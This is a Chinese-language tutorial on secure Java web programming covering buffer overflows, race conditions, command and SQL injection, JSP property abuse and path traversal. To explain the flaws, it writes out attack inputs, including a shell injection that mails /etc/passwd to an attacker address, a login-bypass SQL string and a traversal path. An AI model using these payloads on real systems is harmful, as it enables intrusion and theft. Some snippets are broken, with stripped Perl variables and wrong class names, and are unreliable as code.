編寫安全的Internet應用并不是一件輕而易舉的事情：只要看看各個專業公告板就可以找到連續不斷的安全漏洞報告。你如何保證自己的Internet應用不象其他人的應用那樣滿是漏洞？你如何保證自己的名字不會出現在令人難堪的重大安全事故報道中？

如果你使用Java Servlet、JavaServer Pages(JSP)或者EJB，許多難以解決的問題都已經事先解決。當然，漏洞仍有可能出現。下面我們就來看看這些漏洞是什么，以及為什么Java程序員不必擔心部分C和Perl程序員必須面對的問題。

C程序員對安全漏洞應該已經很熟悉，但象OpenBSD之類的工程提供了處理此類問題的安全系統。Java語言處理這類問題的經驗要比C少20年，但另一方面，Java作為一種客戶端編程語言誕生，客戶端對安全的要求比服務器端苛刻得多。它意味著Java的發展有著一個穩固的安全性基礎。

Java原先的定位目標是瀏覽器。然而，瀏覽器本身所帶的Java虛擬機雖然很不錯，但卻并不完美。Sun的《Chronology of security-related bugs and issues》總結了運行時環境的漏洞發現歷史。我們知道，當Java用作服務器端編程語言時，這些漏洞不可能被用作攻擊手段。但即使Java作為客戶端編程語言，重大安全問題的數量也從1996年的6個(其中3個是相當嚴重的問題)降低到2000年的1個。不過，這種安全性的相對提高并不意味著Java作為服務器端編程語言已經絕對安全，它只意味著攻擊者能夠使用的攻擊手段越來越受到限制。那么，究竟有哪些地方容易受到攻擊，其他編程語言又是如何面對類似問題的呢？

二、緩存溢出

在C程序中，緩存溢出是最常見的安全隱患。緩存溢出在用戶輸入超過已分配內存空間(專供用戶輸入使用)時出現。緩存溢出可能成為導致應用被覆蓋的關鍵因素。C程序很容易出現緩存溢出，但Java程序幾乎不可能出現緩存溢出。

從輸入流讀取輸入數據的C代碼通常如下所示：

char buffer[1000];

int len = read(buffer);

由于緩存的大小在讀入數據之前確定，系統要檢查為輸入保留的緩存是否足夠是很困難的。緩存溢出使得用戶能夠覆蓋程序數據結構的關鍵部分，從而帶來了安全上的隱患。有經驗的攻擊者能夠利用這一點直接把代碼和數據插入到正在運行的程序。

在Java中，我們一般用字符串而不是字符數組保存用戶輸入。與前面C代碼等價的Java代碼如下所示：

String buffer = in.readLine();

在這里，“緩存”的大小總是和輸入內容的大小完全一致。由于Java字符串在創建之后不能改變，緩存溢出也就不可能出現。退一步說，即使用字符數組替代字符串作為緩存，Java也不象C那樣容易產生可被攻擊者利用的安全漏洞。例如，下面的Java代碼將產生溢出：

char[] bad = new char[6];

bad[7] = 50;這段代碼總是拋出一個java.lang.ArrayOutOfBoundsException異常，而該異常可以由程序自行捕獲：

try {

char[] bad = new char[6];

bad[7] = 50;

}

catch (ArrayOutOfBoundsException ex) {

... }

這種處理過程永遠不會導致不可預料的行為。無論用什么方法溢出一個數組，我們總是得到ArrayOutOfBoundsException異常，而Java運行時底層環境卻能夠保護自身免受任何侵害。一般而言，用Java字符串類型處理字符串時，我們無需擔心字符串的ArrayOutOfBoundsExceptions異常，因此它是一種較為理想的選擇。

Java編程模式從根本上改變了用戶輸入的處理方法，避免了輸入緩存溢出，從而使得Java程序員擺脫了最危險的編程漏洞。

三、競爭狀態

競爭狀態即Race Condition，它是第二類最常見的應用安全漏洞。在創建(更改)資源到修改資源以禁止對資源訪問的臨界時刻，如果某個進程被允許訪問資源，此時就會出現競爭狀態。這里的關鍵問題在于：如果一個任務由兩個必不可少的步驟構成，不管你多么想要讓這兩個步驟一個緊接著另一個執行，操作系統并不保證這一點。例如，在數據庫中，事務機制使得兩個獨立的事件“原子化”。換言之，一個進程創建文件，然后把這個文件的權限改成禁止常規訪問；與此同時，另外一個沒有特權的進程可以處理該文件，欺騙有特權的進程錯誤地修改文件，或者在權限設置完畢之后仍繼續對原文件進行訪問。

一般地，在標準Unix和NT環境下，一些高優先級的進程能夠把自己插入到任務的多個步驟之間，但這樣的進程在Java服務器上是不存在的；同時，用純Java編寫的程序也不可能修改文件的許可權限。因此，大多數由文件訪問導致的競爭狀態在Java中不會出現，但這并不意味著Java完全地擺脫了這個問題，只不過是問題轉到了虛擬機上。

我們來看看其他各種開發平臺如何處理這個問題。在Unix中，我們必須確保默認文件創建模式是安全的，比如在服務器啟動之前執行“umask 200”這個命令。有關umask的更多信息，請在Unix系統的命令行上執行“man umask”查看umask的man文檔。

在NT環境中，我們必須操作ACL(訪問控制表，Access Control List)的安全標記，保護要在它下面創建文件的目錄。NT的新文件一般從它的父目錄繼承訪問許可。請參見NT文檔了解更多信息。

Java中的競爭狀態大多數時候出現在臨界代碼區。例如，在用戶登錄過程中，系統要生成一個唯一的數字作為用戶會話的標識符。為此，系統先產生一個隨機數字，然后在散列表之類的數據結構中檢查這個數字是否已經被其他用戶使用。如果這個數字沒有被其他用戶使用，則把它放入散列表以防止其他用戶使用。代碼如Listing 1所示：

(Listing 1)

// 保存已登錄用戶的ID

Hashtable hash;

// 隨機數字生成器

Random rand;

// 生成一個隨機數字

Integer id = new Integer(rand.nextInt());

while (hash.containsKey(id))

{

id = new Integer(rand.nextInt());

}

// 為當前用戶保留該ID

hash.put(id, data);

Listing 1的代碼可能帶來一個嚴重的問題：如果有兩個線程執行Listing 1的代碼，其中一個線程在hash.put(...)這行代碼之前被重新調度，此時同一個隨機ID就有可能被使用兩次。在Java中，我們有兩種方法解決這個問題。首先，Listing 1的代碼可以改寫成Listing 2的形式，確保只有一個線程能夠執行關鍵代碼段，防止線程重新調度，避免競爭狀態的出現。第二，如果前面的代碼是EJB服務器的一部分，我們最好有一個利用EJB服務器線程控制機制的唯一ID服務。

(Listing 2)

synchronized(hash)

{

// 生成一個唯一的隨機數字

Integer id =

new Integer(rand.nextInt());

while (hash.containsKey(id))

{

id = new Integer(rand.nextInt());

}

// 為當前用戶保留該ID

hash.put(id, data);

}

四、字符串解釋執行

在有些編程語言中，輸入字符串中可以插入特殊的函數，欺騙服務器使其執行額外的、多余的動作。下面的Perl代碼就是一個例子：

= "mail body";

system("/usr/sbin/sendmail -t < ");

顯然，這些代碼可以作為CGI程序的一部分，或者也可以從命令行調用。通常，它可以按照如下方式調用：

perl script.pl honest@true.com

它將把一個郵件(即“mail body”)發送給用戶honest@true.com。這個例子雖然簡單，但我們卻可以按照如下方式進行攻擊：

perl script.pl honest@true.com;mail

cheat@liarandthief.com < /etc/passwd

這個命令把一個空白郵件發送給honest@true.com，同時又把系統密碼文件發送給了cheat@liarandthief.com。如果這些代碼是CGI程序的一部分，它會給服務器的安全帶來重大的威脅。

Perl程序員常常用外部程序(比如sendmail)擴充Perl的功能，以避免用腳本來實現外部程序的功能。然而，Java有著相當完善的API。比如對于郵件發送，JavaMail API就是一個很好的API。但是，如果你比較懶惰，想用外部的郵件發送程序發送郵件：

Runtime.getRuntime().exec("/usr/sbin/sendmail -t < ");

事實上這是行不通的。Java一般不允許把OS級“< ”和“;”之類的構造符號作為Runtime.exec()的一部分。你可能會嘗試用下面的方法解決這個問題：

Runtime.getRuntime().exec("sh /usr/sbin/sendmail -t < ");

但是，這種代碼是不安全的，它把前面Perl代碼面臨的危險帶入了Java程序。按照常規的Java方法解決問題有時看起來要比取巧的方法復雜一點，但它幾乎總是具有更好的可移植性、可擴展性，而且更安全、錯誤更少。Runtime.exec()只是該問題的一個簡單例子，其他許多情形更復雜、更隱蔽。

讓我們來考慮一下Java的映像API(Reflection API)。Java映像API允許我們在運行時決定調用對象的哪一個方法。任何由用戶輸入命令作為映像查找條件的時機都可能成為系統的安全弱點。例如，下面的代碼就有可能產生這類問題：

Method m = bean.getClass().getMethod(action, new Class[] {});

m.invoke(bean, new Object[] );

如果“action”的值允許用戶改變，這里就應該特別注意了。注意，這種現象可能會在一些令人奇怪的地方出現——或許最令人奇怪的地方就是JSP。大多數JSP引擎用映像API實現下面的功能：

< jsp:setProperty name="bean" property="*" />

這個Bean的set方法應該特別注意，因為所有這些方法都可以被遠程用戶調用。例如，對于Listing 3的Bean和Listing 4的JSP頁面：

(Listing 3)

public class Example

{

public void setName(String name) {

this.name = name; }

public String getName() { return name; }

public void setPassword(String pass) {

this. pass = pass; }

public String getPassword() { return

pass; }

private String name;

private String pass;

}

(Listing 4)

< %@ page import="Example" %>

< jsp:useBean id="example" scope="page"

class="Example" />

< jsp:setProperty name="example" property="*" />

< html>

< head>

< title>Bean示例< /title>

< /head>

< body>

< form>

< input type="text" name="name" size="30">

< input type="submit" value="Submit">

< /form>

< /html>

從表面上看，這些代碼只允許用戶訪問example Bean的名字。然而，了解該系統的用戶可以訪問“http://whereever.com/example.jsp?name=Fred&password=hack”這種URL。這個URL既改變name屬性，也改變password密碼屬性。當然，這應該不是頁面編寫者的意圖，作者的意圖是設計一個只允許用戶訪問名字屬性的頁面。因此，在使用

< jsp:setProperty property="*" ... />。>

時應該非常小心

字符串被解釋執行的問題可能在允許嵌入腳本代碼的任何環境中出現。例如，這類問題可能在Xalan(也稱為LotusXSL)中出現，當然這是指系統設置不嚴格、易受攻擊的情況下。

Xalan的腳本支持能夠關閉(而且這是Xalan的默認設置)，在敏感的應用中關閉腳本支持是一種明智的選擇。當你需要用DOM處理XML文檔時還必須考慮到另外一點：DOM保證所有文本都經過正確的轉義處理，防止非法的標記插入到腳本之內。LotusXSL缺乏這個功能，但這絕不是一個BUG。支持腳本是LotusXSL的一個特色，而且它(明智地)默認處于關閉狀態。XSL的W3C規范并沒有規定支持腳本的能力。

現在我們來看看字符串解釋執行如何影響SQL和JDBC。假設我們要以用戶名字和密碼為條件搜索數據庫中的用戶，Listing 5的Servlet代碼看起來不錯，但事實上它卻是危險的。

(Listing 5)

String user = request.getAttribute("username");

String pass = request.getAttribute("password");

String query = "SELECT id FROM users WHERE

username="+user+" AND password="+pass;

Statement stmt = con.createStatement(query);

ResultSet rs = con.executeQuery(query);

if (rs.next())

{

// 登錄成功

int id = rs.getInt(1);

...

}

else

{

// 登錄失敗

...

}

如果用戶輸入的查詢條件中，用戶名字等于“fred”，密碼等于“something”，則系統執行的查詢實際上是：

SELECT id FROM users WHERE

username='fred' AND password=

'something'

這個查詢能夠正確地對用戶名字和密碼進行檢查。但是，如果用戶輸入的查詢條件中，名字等于“fred' AND ('a'='b”，密碼等于“blah') OR 'a'='a”，此時系統執行的查詢變成了：

SELECT id FROM users

WHERE username='fred' AND (

'a'='b' AND password='blah') OR 'a'='a'

可以看出，這個查詢無法正確地對用戶名字和密碼進行檢查。Listing 6的代碼要安全得多，它從根本上防止了用戶修改SQL命令逃避檢查。

(Listing 6)

String user = request.getAttribute("username");

String pass = request.getAttribute("password");

String query = "SELECT id FROM users

WHERE username=? AND password=?";

PreparedStatement stmt = con.prepareStatement(query);

stmt.setString(1, user);

stmt.setString(2, pass);

ResultSet rs = stmt.executeQuery();

...

所有對文件系統的訪問都是字符串可能被解釋執行的地方。用Java訪問文件系統時，我們應該注意文件的命名方式。Listing 7是一個可能帶來危險的例子。這個程序根據用戶輸入決定讀取哪個文件，它的危險就在于攻擊者能夠輸入“../../../etc/passwd”這樣的文件名字并獲得系統的密碼文件。這可不是我們希望出現的事情。預防出現這種安全漏洞最簡單的方法是：除非絕對需要，否則不要使用平面文件(Flat File)。

(Listing 7)

public class UnsafeServlet

{

public void doGet(HttpServletRequest request,

HttpServletResponse response)

{

String product = request.getAttribute("product");

Reader fin = new FileReader(

"/usr/unsafe/products/"+ product);

BufferedReader in = new BufferedReader(fin);

String cost = in.readLine();

// 其他處理過程

response.getWriter().println(cost);

}

}

大多數服務器系統，包括Servlet、JSP和EJB，都支持不直接依賴文件系統訪問的配置方法。使用定制的SecurityManager或者使用一個簡單的檢查腳本(檢查程序是否直接操作文件系統以及是否使用映像API)，我們就可以實施“無文件系統直接訪問”策略。盡管大多數應用服務器允許使用文件系統，但一個好的EJB不會使用它。

最后，請務必不要忘記保持數據充分分離、精確定義這一良好的編程習慣。假設我們有一個用來保存用戶信息的數據庫，現在需要增加一個字段標示用戶是否具有超級用戶權限。如果在原來的表中增加一個列實在過于復雜，采用下面這種方法就變得很有吸引力：在用戶名字中加上一個特殊字符表示用戶是否具有特殊權限，當用戶登錄時檢查該特殊字符，以便防止非法用戶宣稱自己擁有特殊權限。但事實上，這種做法是非常有害的。所有的數據域，不管它是在數據庫中還是作為局部變量，都應該精確定義且只保存一份信息。

五、基本原則總結

根據上述討論，我們得到如下防止出現安全問題的基本原則：

對于各個輸入域，嚴格地定義系統可接受的合法輸入字符，拒絕所有其他輸入內容。

應該盡可能早地對用戶輸入進行檢查，使得使用危險數據的區域減到最小。

不要依賴瀏覽器端JavaScript進行安全檢查(盡管對用戶來說這是一種非常有用的功能)，所有已經在客戶端進行的檢查應該在服務器端再進行一次。

這些原則有助于消除大量的安全問題。本質上，在應用這一級上，URL和POST數據是用戶和應用交互的唯一途徑，所以我們的注意力應該集中在URL和用戶輸入數據的安全性上。

當然，簡單地遵從本文的建議并不能夠保證絕對的安全。你必須分析其他各方面的因素，包括網絡的安全性以及你所用到的其他服務的安全性。

每天都有新的安全漏洞被發現和修正。在系統足夠安全、可以連接到Internet之前，請務必聽取專家的建議；在正式提交源代碼之前，一定要留意可能存在的漏洞。小心永不過份。